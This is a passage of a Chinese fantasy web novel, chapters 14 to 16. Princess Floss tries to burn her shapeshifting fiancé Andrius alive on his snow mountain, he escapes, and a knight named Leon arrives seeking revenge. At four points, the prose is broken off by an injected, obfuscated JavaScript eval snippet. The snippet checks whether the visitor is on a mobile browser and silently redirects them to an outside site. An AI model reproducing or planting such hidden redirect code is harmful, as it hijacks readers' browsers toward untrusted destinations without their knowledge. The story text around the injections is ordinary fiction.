【公主】身份的持有者就是公主,【山神】身份的持有者就是有山神之称的安德留斯后裔,对应关系很明显,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428047|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果是经验老到的同类,一定会想法混进王宫去找线索。 幸运的是,费尔奇尔德王国总共有十多位公主,她离开王宫的理由又是十分正规的,短时间内应该不会有人怀疑到她身上。 不过,要是她贸然回去,那就不好说了。 她必须在雪山上待着。 怎么处置安德留斯,也就成了最大的问题。 他的身份很特殊,借助着这座雪山,他又可以使出无限多的小把戏:构造幻境,构造永无止境的回旋楼梯,还有以假乱真的分身,无穷无尽的生命力。她不知道安德留斯还有没有其他后手。 安妮率先提出了意见:“杀了他。” 芙洛丝挑了挑眉,这小丫头刚刚可还说她误会了安德留斯,还很不好意思呢。 安妮面色坚毅:“殿下说过,拥有能力的人都是十恶不赦之辈,如果因为一时仁慈放过了他,以后一定会来找殿下的麻烦。殿下,应该尽快杀了他。若是他有其他分身,也一起杀掉就是。” 碧和碧拉异口同声附和:“是的,殿下,动手吧。” “好。”芙洛丝点头,“那就动手吧。他很狡猾,又很擅长变脸,留着确实是个祸害。不过要彻底杀死他,要用比较特殊的方法,碧拉,碧,你们去捡点柴火来。” 芙洛丝决定依安德留斯所言,烧死他。 碧拉看起来有些踟蹰,她考虑事情总是比较全面,芙洛丝知道她有话要说,便等着她开口,果然,她问:“殿下,雪山上总会有人知道的,您打算又怎么对待那些人呢?” “我会把他们变成我的【仆从】,然后命令他们忘了这件事。回宫的时候,我便对老头说,安德留斯夜猎未归,喝了酒,冻死在外面了。” 碧拉跟着碧走了。 过了一会儿,她们回来了。 “殿下,厨房里的柴火都用完了。” 雪山上的人们煮肉、烤肉又点篝火,柴火消耗确实不小。安德留斯又说过,他们并不常住在城堡里,城堡里备的东西总不会很多。 芙洛丝看向窗外,夜色漆黑,正是一天之中最暗的时刻。 要是现在去雪山上捡柴,嗯,这么黑,怎么看都不是个好提议…… “那就明天早上再说吧。” 安德留斯,你又能多活些时间了。 芙洛丝这么想着,又忍不住问了一嘴:“对了,是把他绑在我们住的那间房,对吧?” 为了防止安德留斯再用自己的能力搞事情,芙洛丝打了招呼,要寸步不离地监视他。 一打开门,映入眼帘的是猩红的华丽床帐,复古的重窗帘,房间里的家具很少,除了床之外,就只有一张梳妆台,梳妆台上的镜子甚至是破碎的。可以看出,城堡里可用的家具确实不多,这已是安德留斯能找出来的全部。 这也说明,安德留斯一开始就不在意这桩婚事。 芙洛丝放轻脚步,走到被绑在角落的安德留斯身边。 他垂着头,眼睛上蒙着黑丝带,看不出是睡还是醒,芙洛丝将手放到他面前,挥了好几下,没有反应。芙洛丝便将手放到了丝带上,慢慢地描他眼睛的形状。 安德留斯依然没有反应。 “这副样子真是适合你。” 她和安德留斯才认识一天,已经见识了安德留斯种种模样,在安德留斯所有的模样中,这副任人宰割的样子最顺眼,最让她满意。 “继续保持。” 14. 来跳舞 夜更深了。 芙洛丝准备休息,爬到床上的时候又看了一眼安德留斯,不知道为什么,这段距离让她感到不安。 她裁下一根丝线,在安德留斯的手腕上系紧了,另一端绑在自己的手上,以便随时监听安德留斯的动作,这才稍微放下心来,躺在床上。 她感到疲惫,因为安德留斯召出的幻境,她有种一天之内和两个【身份者】交手的错觉。在幻境中,她捡起了散落在草坪上的箭镞,反手刺进了自己的心脏,这才逃脱一劫。 现在放松下来,背部竟然感到疼痛。 就好像那个伤口真的留在了她身上一样。 ——“都怪你啊,公主殿下,瞧瞧你害死了多少人!” 被褥冰冷彻骨。她蜷缩在床上,抱着自己,将头深深地埋进膝盖,企图通过这个姿势获得些许安全感。 手指向后,摸了摸后背,并没有伤口,但她觉得很疼。 尖锐至极的疼。 她闭上眼睛,脑海里又闪过打败帕尔索时帕尔索对她说的话: “你总有一天也会死在别的【身份者】手上,这是每一个【身份者】的宿命,你别想逃!” 然后她陷入了梦乡。 窗外的雪停了,万籁俱寂,一声鸟鸣都没有,惟有壁炉里的柴火在静静燃烧。 芙洛丝的梦乡,阳光普照,绿草如茵。 高大的宫殿如同天上众神的神殿一样宏伟富丽。 阶梯下鲜血成河。 帕尔索已经被她制服,一切战斗的过程都省去了,没有人看见,也没有人会记得。芙洛丝在觉醒后的最短时间里最大程度地开发了能力,最终,帕尔索死于窒息。 像下诅咒一样,他恶狠狠地告诉芙洛丝,“你赢了我,但是赢的不是你,是你的新生。我不知道你能力的界限在哪里,所以才输给了你!但,你,你必死在另一个【身份者】的手上!” 芙洛丝专注地看着他如何死去,巨大的悲痛冲垮了精神,她既没有战胜强敌之后的狂喜,也没有感到解脱。什么都感受不到,心里一片空洞。 只是本能地对这份诅咒感到不屑。 我的能力甚至能令【仆从】跨越生死,再度回到我的身边来。 我战胜了帕尔索,今后也将如此,战胜每一个前来挑战的【身份者】。 我是新生的神明。 我所向披靡。 她倒在了地上。 帕尔索已死,或许是失去了支撑身体的夙愿,或许是松了一口气,芙洛丝的力气一下子全被抽空了。她躺在冰冷腥臭的血泊中,也感受不到似的,只怔怔地瞪着双眼。 她的四周矗立着好多、好多正在静静燃烧的【仆从】,她们是已死的侍女,是被她的能力转化之后的似生非生、似死非死的奇异存在。她们有和她一样的金色头发,苍蓝色的眼眸。 从今天起,我就是神。 芙洛丝这么想着,听见了父亲的喃喃:“怪物……” 这个声音就像一根刺入她脑海中的钢针。 她机械地转动眼珠,望向护卫队。不知何时,他们的箭镞已经对准了她。 他们脸色苍白,竟然比帕尔索活着的那时还更惊慌失措。那种神态深深地刺痛了芙洛丝,她很错愕。 “看见了吗……她将死人复活,她让死人行动,她一句话,那些死人就扑在她身前,前仆后继地为她送死,她甚至可以让那些死人燃烧!” “邪恶,不详……她……” “那个人是为她而来,那些人是为了她才死的……她……” “……是怪物啊。” “亲爱的,看来,只有我们是一样的。” 熟悉的男性嗓音忽然在耳边炸响,这声音是那么温柔,芙洛丝却如遭雷击。 她从噩梦中惊醒,抓着自己的肩膀,大口大口地喘着气,心跳如雷。 脑中一片混乱,看着眼前的一切,甚至忘记了这是在哪里,直到看到手上绑着的丝线,她才想清楚自己在雪山上的城堡里,只是做了个梦。 一样……一样个屁! 她才不会和安德留斯一样! 不能再等下去了,只要安德留斯还活着,芙洛丝就会忍不住怀疑自己是不是又跳进了他设下的幻境陷阱,她讨厌这种感觉,讨厌过去的那些事没完没了地追上来,搞得她心烦意乱。 明明她也是受害者,明明是帕尔索要杀她。 他要杀我,所以我才杀他。 这是再正常不过的举动。 为什么……够了! 看了一眼披在身上的被子,以及窗户上挂着的厚窗帘,芙洛丝决定不等了,就用这些丝织物烧死安德里斯。 她钻出被窝,被房间里的冷空气冻得一激灵,连忙披上外套后,便将被子抱了下来。被子还是冷的,说明她只睡了一小会儿。 她看了一眼安德留斯。 安德留斯仍旧垂着头颅,眼睛上绑着丝带。 碧在走廊里巡逻,安妮和碧拉则按她的指示在查验关押起来的那些人中有多少是普通人,她们的举动从【仆从】的网络上看得一清二楚。 一切暂时正常。 芙洛丝将厚厚的窗帘全扯了下来。 窗户外仍是一片伸手不见五指的黑暗。 “来个人帮我。” 安妮来了,帮着把被子和窗帘抱到了房间外面,她说:“殿下,你的眼睛里都是血丝,还好吧?” “我很好。”大概是觉得这样没什么说服力,芙洛丝又补充道,“我好得要命。你呢?” 两人一前一后走着,到了空无一人的楼下,安妮又想起一件事,“殿下,如果把被子烧了,我们晚上盖什么呢?”城堡里可以用的物资少得可怜。 芙洛丝扛着安德留斯,一边痛恨着自己的无精打采,一边痛恨着安德留斯,“我会下山去附近的村庄采购一些东西。” 将昏迷不醒的安德留斯放在地上,安德留斯的脸一下倒在了她的手上。 芙洛丝当即吓了一跳,然而安德留斯再无后续动作。 芙洛丝深呼吸着,放下心来。因为没休息好,她的精神太差了,一点小事就草木皆兵。烧死安德留斯后,她一定要睡个好觉。 安德留斯的脸颊还贴着她的手掌,柔软且冰凉。 芙洛丝抽回手掌,他就倒在了地上,发出好大一声响。 安妮已经从厨房里找来了打火石,打了好几次都没成功。雪山上的夜风太大了。火焰舔上了丝织物,也被吹灭了,没燃烧起来。两个人哆哆嗦嗦,费了好一番功夫才点起火来。 耀眼的火光,终于将这方夜的天地撕开道口子。 芙洛丝将安德留斯扔到火中。 安德留斯是个很狡猾的对手,一定要亲眼看着他被烧成灰,芙洛丝才肯放心。放下安德留斯的时候,不知道是不是错觉,安德留斯似乎又用脸颊蹭了下她的手心。 应该是错觉吧。芙洛丝恶狠狠地搓着手。 火大起来了,包裹着安德留斯的窗帘熊熊燃烧,有一缕火苗已经烧到了他的围巾。 如果他是醒着的,一定早吓得大喊大叫。 可他躺在火焰中心,姿态安详。 空气里飘来蛋白质燃烧的臭味以及滚滚的浓烟。安德留斯戴的那条围巾不知道是什么材质,烧得飞快,一瞬间就将橙红的火光引到了他的身上。 外套倒是烧得没那么快,也许是淋了雪的缘故,火烧得闷闷的,要燃不燃。 再见了,安德留斯。 火光在沉睡的安德留斯身上起舞,四周暗得要命,只有安德留斯在发光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428048|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他脸上的阴影都是深橘色的,加上被蒙住的双眼,他像个受难的天使。芙洛丝不知怎么又想起他说的一句话: “来和我跳舞。” 不知道烧到了什么,砰的一声,火光中传来一声爆炸,带起的热风将芙洛丝的长发吹向天际。 芙洛丝按着头发,眯起眼睛,这时,安德留斯的裤脚已经被完全点燃了。他的腿动了一下。 安德留斯醒了,开始挣扎,被捂住的嘴也开始发出“唔唔”的声音。 糟了。后悔没给他下点什么助眠的好药。芙洛丝第一次烧人,完全没有经验。 “殿下,要不我来守着这里吧。”安妮看出了她的失态。 “不,你不知道他有多难缠。”芙洛丝虽然这么说着,却打开了【仆从】网络的面板,聚精会神观察起上面的情况。 “去找找还有什么能烧的,通通搬来!” 赶紧把这火弄大一点,早点将安德留斯烧完。 网络上,帝都的【仆从】正在以特定的频率闪烁着,芙洛丝观察片刻,确认出那是一早定下的暗号,精神一震。 长、长、短;长、长、短……按这呼吸的节奏,这是说,已经确认了有【身份者】阵亡的消息。 斗争终于爆发了么? 另一角,其他的【仆从】又在传递另一种信息: 有大量平民的性命受到威胁,请尽快回来。 “哈啊、啊啊——”安德留斯挣扎的时候将捂嘴的东西甩掉了,爆发出一串惊天动地的哭叫,光听声音就知道,他疼得厉害,因为他的声音听起来完全不像原来那样。 “芙洛丝,你真的烧死我,你你你——” 安德留斯在火光里剧烈地挣扎,他嚎啕大哭。 芙洛丝的注意力立马又放回了安德留斯身上,听着他的惨叫,心跳得差点从喉咙里蹦出来。 她几乎要说“对不起”。 一阵狂风呼啸,巨雪夹在风声中,四面八方向火场涌来。 还没来得及阻止,雪便将火扑灭了,烟尘中,安德留斯大叫:“你不得好死!” ——安德留斯的又一能力,控制雪。 芙洛丝的歉意烟消云散,转而大怒,“你这个混蛋,果然有所保留……” 安德留斯挣脱绳索,从焦烟废墟之中爬了起来,烟雾将芙洛丝的眼睛燎得通红。芙本以为他会再度宣战,没想到他爬起来便跑,朝着与芙洛丝截然相反的方向。 他浑身冒着烟,但是跑得极快,一眨眼就不见了,空中飘来他气急败坏的声音:“你等着,很快就有人来杀你——” 安妮拦住欲冲出去的芙洛丝:“殿下,小心有诈。他掌管着整座雪山,如果我们贸然追出去,说不定会中他的圈套!” “不行,就这么让他跑了,我寝食难安!我一定要抓住他,咳咳!” 她不知道的是,安德留斯跑出她们的视线之后,便身形缩小,化作了一只五颜六色的鹦鹉,摇着被烧焦的翅膀艰难地飞走了。 同时,一道极其强大的气息从山的另一边显露而出。 那是与安德留斯截然不同的气息,它属于另一个【身份者】。 城堡二楼,一个熟悉的高大身影潜藏于暗处。 他手里提着一只晶莹剔透的冰鹦鹉,笑着学舌: “你等着,很快就有人来杀你———哈哈哈,”他轻笑了一阵,将鹦鹉捏碎,“对不起了,小芙洛丝。你将我最喜欢的身体烧坏了,我要给你点小惩罚。哭吧,我期待你像个傻子一样嚎啕大哭。” 他身上很多地方都散发出焦味,但他依然从容如初。 芙洛丝不知道的是,他放开了对山脚迷宫的管制。 老早便随她而来的尾巴终于获得了上山的权限,一场死斗就要发生,一位神就要陨落。 15. 第三人 芙洛丝正要追出去,噔噔噔,身后传来一阵急促的脚步声,是碧和碧拉。 “殿下!”她们的声音透露着不安,芙洛丝下意识地停住了,只听她们说: “山上所有人的身份已确认完毕,情况比我们想的要……” 她们都是从帕尔索那时候过来的【仆从】,情绪不会再有很大的波动。 芙洛丝忽然觉得不妙,很不妙,“说。” 碧的声音在尽力克制:“所有人都是安德留斯的分身,只有一个例外,是——” 她犹豫着。 碧拉便接过话头,喊了出来:“是奥菲修斯!不过我们无法确认他的身份,因为他不见了,我们在城堡里搜过一遍,找不到人。” 芙洛丝此时的震撼简直难以用言语来形容。 黑夜更沉、更重了。雪山上的风呼啸而过,如尖刀一样刮过肌肤。 竟然所有人都是安德留斯的分身? 那……刚刚的宴会,宴会上的那些人? 安德留斯还煞有介事地说,他不想在平民面前暴露身份,那些猎人也还以旁观者的角度指责她不该这么对待自己的未婚夫……或怒或怨的一张张面孔在眼前闪过,芙洛丝觉得自己在做一个没法醒来的噩梦。 ——“我没那么神经质,捏那么多替身,让他们一个个陪我说话。” 就是安德留斯这句话,她认为雪山上纵然有安德留斯的分身,也不会是全部。 然而事实就是全部,全部人都是安德留斯的分身。 再回忆起进入雪山,遇到奥菲修斯,遇到随安德留斯夜猎归来的队伍,遇到厨房里鬼鬼祟祟的厨娘们……原来他们全都是安德留斯,原来从一开始,她们就进入了安德留斯的视线之中,她们从一开始就是猎物。 而非猎人。 谎言如山上的大雪一样,从一开始就蒙蔽了她们的视线。 芙洛丝成了安德留斯在雪山上设置的剧场里的小木偶,还傻兮兮地对着虚妄的目标挥剑、出手、报以不必要的歉疚和悔意,对幕后操控自己的丝线浑然不觉。 假的。一切都是假的。 全都是安德留斯演的一场戏! 芙洛丝扶住额头,提醒自己要保持清醒和冷静。同时一下觉得自己最初的隐忧很可笑——她是为躲避【身份者】们的暗杀而来,即使联姻是十八年前便定下的,一样会有【身份者】产生怀疑,然后随她进入雪山,在雪山掀起一场大屠杀。 这种可能性很小,但不是没有。 所以她说:“我将要对那个乡巴佬做的,是一件非常、非常糟糕的事。我乐意提前给他点甜头。作为补偿。” 她早就做好准备,自己名义上的未婚夫,可能会因自己而死。 她早就准备用自己的嫁妆来补偿可能因此而丧命的那些普通人的家人。 太可笑了。 现在想来,真的是太可笑了。芙洛丝也真的因此而笑出了声,她笑着,笑转为大笑。 疯狂的笑声被夜风撕扯着,吞噬着,断断续续地传向远方。 三个侍女一齐愣住,最小也是最得宠爱的安妮不安开口,“殿下,别灰心……” “我没有灰心。”芙洛丝突兀地止了笑,就像将一把剑收进剑鞘那样果断迅速,她说,“我为我的对手具有挑战者的资质感到开心,幸好我们发现这一点不算太晚。” 安妮咋舌:“殿下,那你还去追安德留斯吗?” “将你们绑头发的丝带给我。”芙洛丝用长长的丝带绑住了左手和安妮,点点下巴示意,“不了。他是雪山的神,还能耍多少把戏,我也不知道。我所知道的只有,他的把戏虽然很多,但是本体孱弱,现在最重要的事是,我们不能走散。” 三根丝带,将四个人牢牢地栓在了一起。 大家都在等着芙洛丝的下一步指示。 “我们回城堡,将他的分身都杀了。然后,”芙洛丝显得笃定而信心十足,“逼他来找我们。” “逼?” 碧有些不明白,“他刚刚逃脱,又怎么会回来找我们?” 片刻后,城堡燃起的冲天大火回答了这一点。 芙洛丝看了一眼挂在墙壁上的历代安德留斯家主的画像,果然如她所想,安德留斯一族的谱系在五百年以前就断掉了,她的未婚夫,现在的这位安德留斯,成了最后的一任家主。 那么,他又是为什么指定自己作为他的未婚妻呢?难道他一早就知道自己会觉醒成为【身份者】? 将未婚夫的画像抱在了怀中,芙洛丝义无反顾离开了被火光吞噬的安德留斯城堡。 “来吧,安德留斯,或者奥菲修斯,让我看看你的真颜。” 她已经可以完全确定,安德留斯觉醒时血洗了整座雪山,除了自己和自己的侍女,雪山上的其他人都是安德留斯的分身,逃走的奥菲修斯也是如此。 安德留斯呢? 他逃到哪里去了? 安德留斯隐匿在一棵高高的雪松上面。因为芙洛丝进城堡点火去了,他不得不暂时逃出来。现在,他正在靠雪山的力量慢慢重塑自己的身体。 他手里拿着望远镜,但那冲天的火光不用望远镜也能看得着,他骂了一句,然后忍不住笑了。 “好样儿的,亲爱的,我唯一的家被你毁完了。”安德留斯以笑容表达怒火。 他的手微一用力,望远镜便碎在了手中,只留下点点碎冰。 “好样儿的,芙洛丝,芙洛丝,芙洛丝芙洛丝……”他将这个名字衔在嘴里,翻来覆去地念,似乎这样就可以缓解一直爬上他双耳和脸颊的那种燥热。 他的肩膀上站着个小雪人,小雪人的双眼是纽扣,鼻子则是一粒松子,他开口说话了,用的是奥菲西斯的声音,只是有些磕磕绊绊:“我还挺喜欢那个家的。” 奥菲修斯是安德留斯漫长寿命当中倾注心血最多的一个分身,几乎具有完全独立的人格,可以担任安德留斯的管家、厨子、朋友、聊天对象。 但是为了修复安德留斯身上那些难看的烧伤痕迹,安德留斯暂时借用了他的生命气息,他的躯体也因此被吸收了。 奥菲修斯很可怜地问了一句:“家,真的不要了吗?” 又黯然地垂下脑袋说:“从我见到她的第一眼起,我就知道她会是个大麻烦,果然如此。” 安德留用手指点了点小雪人的头,以示安慰,“我们还会有的。而且——” 他的目光望向远方。 他的视力同样很优秀,可以看清千米之外的一粒细雪。 “就是这么大的火,我们的朋友才找得到她的位置。” 浓黑的夜,泛白的雪。 两者的交界处,是一团肆意呼啸的深红的火。 行于长夜的某个人,望着那样的火焰,按着手中的剑,抬起了头。 像是意识到什么,芙洛丝皱了下眉头。 是错觉吗? 她忽然转过身去。 不,不是错觉。 那气息越来越近,越来越近,芙洛丝凝望着雪白的地平线。她能感受到,那是同类的气息。 是安德留斯的真身? 他终于舍得放出真身来了? 果然,说什么山是分身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428049|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收不回来也是他的谎言。 地平线上,广袤的雪原边缘,一个黑色的小点在向这边走来。芙洛丝看着那里,对侍女们说:“注意警戒。” 沙沙。沙沙。靴子踩入雪地,发出轻微的摩擦声响。随着脚步声的走进,那股【身份者】的气息也越来越浓烈。 那人穿着一身黑,脸庞隐藏在宽大的帽檐下,看不清楚。他身形高大,即使披着厚厚的披风,也可以看出他身强体健,绝不是泛泛之辈。他的腰间配着长剑。 那不是安德留斯。安德留斯走路的姿态和他不一样,芙洛丝立刻认了出来。 那么,他是谁? 耳朵微动,芙洛丝又听到了一声极细微的声响,像什么东西碎了一样。城堡燃烧时发出种种杂音,本来将这细微的声音盖了过去,但芙洛丝凭借【身份者】敏锐的听力听出来,两者来源方向不一。 她向细响的声音望去,在重重枝杈的掩盖之下,她在一颗高大如巨人的雪松上发现了安德留斯。 这个混蛋居然在这里!芙洛丝瞳孔骤缩。 安德留斯的视线也恰好撞了过去,两人四目相对。安德留斯马上反应过来,是他捏碎冰雪望远镜的时候,碎冰从高处落下砸到地面的声音引起了芙洛丝的注意。 他露出一个迷人的微笑。 他还有胆量笑! “拿弓箭来。”芙洛丝低声道。 她们在安德留斯的城堡里搜过,一些有用的东西,譬如弓箭、刀剑、蜡烛都搬了出来。离她最近的安妮将弓箭悄无声息地递了过去。 “你——” 一声粗粝而沙哑的男声响起。是除她和安德留斯之外的第三个【身份者】,那个刚爬上来的陌生人在说话。 他的声音听起来比他外表的样子要苍老得多,就好像他徒步走过了世界上最大的沙漠,还没来得及喝一口水一样。 “你就是【公主】?” 果然,他是接到了【系统】签发的追杀令才追过来的。他的速度可真快。 芙洛丝挑了挑眉头,昂着下巴望他,爽快地说了声“是”。 “但是小心了,这里还有第三个有【身份】的人,【山神】。你的视力还正常吧?抬头,他就在那儿。” 那个男人顺从地抬头,朝那方向望了一眼。他按着剑,沉声道:“可他身上没有气息。” “因为他的姓氏是安德留斯,传说中的山神。他的【身份】将他和这座山绑在了一起,所以气息被分散了。在这座山上,他的把戏可多着呐,比如操控雪山上的路径和空间,让人迷路;又或者入侵你的精神,读取你的记忆;还有分身,他可以捏造出十多个和他一样能说会笑、有主动意识的分身,缺点是每个分身胸口都会留下一个雪花图案。哦对了,他还会召唤风雪。” 对【身份者】来说,能力一旦被揭穿,便无异于赤手空拳走上战场,并且将自己最脆弱的位置圈出来,用大红字写上“快来打我”。 “觉得他很难对付吧?”芙洛丝“哼”了一声,笑道,“不过,他的本体很脆弱,可以说武力值完全为零,只要你有一点点力气,就能近身按着他打。” “嘿!”安德留斯大叫一声。 他摇摇身旁的树枝,将积雪摇落,发出足以吸引所有人的声响。 “你身边那个女人呢,是近身肉搏派,她和她的侍女都是,”他用好大、好大的声音说道,“要打败她呢,就千万别跟她近身,那是浪费时间。她们手里有弓箭,看见了吧?抢过来,从远处射死她。相信我,远攻是最好的手段。” 他们两人像报菜名一样,报出了对方的弱点。 16. 复仇者 仇敌相见分外眼红,看到安德留斯嬉皮笑脸的样子,芙洛丝已经够火大的了,别说这时候还说这些话来挑衅她。她用更大的声音喊道: “你要是跟他合作的话,一定会后悔得掐死自己!这个人的能力是个谜,又是我们身处的战场,这座雪山的主人,如果你不想稀里糊涂被拉入幻境杀掉,就和我联手,先干掉他!” 安德留斯拍拍手掌,“太棒了!我还真不知道,一个会把自己恩师兼保姆的人炼成活死人的小怪物比我还具有合作价值。我们现在聚集在这里,每个人手上都或多或少地沾过人命,但要论狠毒和残忍,啧啧,老兄,恐怕我们加一起也比不上这女人万分之一。” 这个混蛋乱叫什么呢!芙洛丝气死了,抬手就给了安德留斯一箭。 谁料,陌生的男人谁的橄榄枝也不接,他用自己苍老而干涩的声音一字一顿地问道:“你们,不是夫妻吗?” 芙洛丝心头一动。 陌生男人的脸隐藏在帽子下,又道:“你,你是芙洛丝·费尔奇尔德。他,则是你的丈夫,你一出生就指定的未婚夫,安德留斯家族的家主,对吗?你们明明是夫妻,为什么还要大打出手,难道你们在骗我——” “是的,我们是夫妻。”安德留斯跳到另一棵树上,躲过了箭矢,“那还是我们的婚房呢!你也不看看,都快烧成灰了!” 他指的当然就是被芙洛丝放了把大火的安德留斯城堡。 火光是那么耀眼,恐怕从很远的地方都看得清。 芙洛丝背对着火光和硝烟,透过层层的风雪打量陌生男人,也学着安德留斯的语调说:“我们要是夫妻,凤凰和野狗都能在一起下崽子!选一边站队吧,我和他都斗了快一天了。” 她的心里却在犯嘀咕,这个闯入者究竟是谁? 他抵达雪山的速度已经够蹊跷的了,如果也是接到【系统】下发的追杀令和其余【身份者】去了王都,再从那里出发来到雪山,也就是说,他几乎只用一天就确认了自己的身份并付诸行动。 她的行程高度保密,只有自己和侍女们知道,一路上又避开了很多城市和村庄,这个人在半路上和自己偶然相遇的可能性极低。 也就是说,这个人极有可能从一开始就知道自己的【身份】。 他,是谁? ——她不知道的是,事实比她预估的更为悲观,这个男人实际上是在她抵达雪山两个小时后出现的。 如果不是山脚下有安德留斯留下的迷宫,他早上来了。 夜风吹拂起陌生男人隐藏在帽檐下的一缕发丝,芙洛丝看清了,棕色的。 棕色头发并不罕见,王都的哪一条大街都能看到棕发的行人,但芙洛丝觉得这个人有点熟悉。 心理作用? 不过,不管他是谁,眼下三个【身份者】齐聚一堂,如果不想看到安德留斯和他联手来对付自己,自己就得努力和他联手。 虽然她也不怕出现那种糟糕的状况就是了。 只见那人身形微动,将头转过来,似乎是望向了芙洛丝……的身侧。 芙洛丝的侍女,碧。 碧的眼睛没什么神采,但身体姿势是极度警惕的,只等芙洛丝一声令下,就将【公主】的敌人撕成碎片。 男人又看向她身边的安妮,说:“安妮。安妮·道尔顿,你的身体现在还能长高吗?” 安妮困惑地张了张嘴,男人又看向碧拉,道:“碧拉·加西亚,你还记得阿尔伯特·安德鲁森吗,那个在天鹅湖边为你画像的年轻画家?在你取消婚约后的第二年,他就郁郁寡欢自杀了。” 阿尔伯特·安德鲁森。听到这个名字的时候,碧拉的眼瞳中光芒一亮,就像有人擦亮了一块苍蓝色的玻璃一样。 然后,她的眼珠又恢复成了无神的样子。 不是做不出回应,而是不知道如何回应。 芙洛丝紧张起来。这个人对她身边的侍女也了如指掌么? 他,到底是谁? 安德留斯等不下去了,开口打断道:“喂,不是吧,你是那女人的老熟人么?还要叙多久的旧,给个准话行不行?哦,还有一个侍女。碧。你又要跟她说些什么呢?” 其实他和芙洛丝都或多或少地意识到了,接下来可能会发生什么事。 “碧。”男人终于叫出了这个名字。 不知道出于何种心理,芙洛丝和安德留斯都没有出声,心照不宣地听着男人哑着嗓音往下说。 风也静,树也止。 然而他抿着唇,不发一语。 握着剑的手,动了。 他的手上覆着一层月光一样的细雪,指关节的纹路被描摹得微微发白。雪没有融化,他的手就和雪一样冷。 芙洛丝一直密切关注着他的动作,这个抬手持剑的动作当然被她收之眼底。 来了! 用剑的【身份者】! 【身份者】的能力大都变态,持不持兵器,对战力影响不大。既然这个人选择持剑,想必他的能力配合剑才能达到最大杀伤力。 她不敢轻敌,也不敢放松警惕,正要作出回应,男人说道:“你不是碧。碧已经死了。” 山巅的风一下吹得很大,狂风吹得人睁不开眼睛。芙洛丝用手臂抵挡,奋力张开眼,只见男人的帽子如黑鸟般振翅高飞,剑光与雪色辉映,男人露出的脸庞如大理石雕塑般轮廓分明。 眉长入鬓,同样棕色的睫毛下,是一双深邃的浅蓝色眸子。 这样的发色和瞳色,与被转化成【仆从】之前的碧,碧·艾德里安同出一辙。 “我的妹妹,我来接你回家。” 谜底揭晓,他,里昂·艾德里安,碧·艾德里安的兄长,帝国钦点的第一骑士,这么说道。 是碧的哥哥?!是他,怎么会是他?! 芙洛丝心中大骇,于她骤缩的瞳孔中,那把装饰华美的宽剑已经从里昂·艾德里安手中飞出,如飓风般袭向她的面庞! 这个与自己颇有渊源的人,碧的哥哥,做出的选择居然是……攻击她! 芙洛丝险险躲过,被那把剑削掉了一半的头发。她了解里昂,里昂的剑术同辈之中无人能敌,她刚刚还在想,隔着这么远的一段距离,里昂的剑要如何才能击中她,原来是脱手剑。 这会儿她反应过来,将自己与侍女绑在一起并不是好选择,便飞速解开了丝带。三个侍女护卫着她。保护芙洛丝是她们行动的第一要义,里昂率先发难,她们的攻击对象便转为里昂。 芙洛丝从她们的肢体动作读出,她们会冲出去杀了里昂。 那样的话……碧会冲出去,杀了自己的哥哥! “不。”芙洛丝果断给出命令,“去围截安德留斯!” 她们也许杀不死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428050|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安德留斯,还会被安德留斯杀死,芙洛丝给出第二道命令,“干扰他,别让他有发动能力的机会即可!” “她这个人。”安德留斯抓着粗壮的树杈,用凉薄的眼神俯视着芙洛丝,“一看就知道,会被自己认识的人杀死。” 语气听不出来是幸灾乐祸还是怜悯。 见到三个侍女齐齐扑向自己,他将小雪人奥菲修斯收在口袋里,跃向下一根树枝。 “小芙洛丝。”里昂开口了,作为碧的兄长,帝国骁勇的骑士,芙洛丝敬爱的大哥哥,他和芙洛丝有过几面之缘,他也有资格这么叫她。 芙洛丝仓惶开口: “你怎么会……”咽了口口水,嘴巴发干,“你怎么会来……” 如果是他的话,他当然会了解自己的行程,只是,怎么会…… 话音刚落,她感到后脖颈有寒风拂过。 很轻微,但是难以忽视。 直觉告诉她,应该回头。 理智告诉她,来不及了。 “我为复仇而来。”里昂道。 复仇? 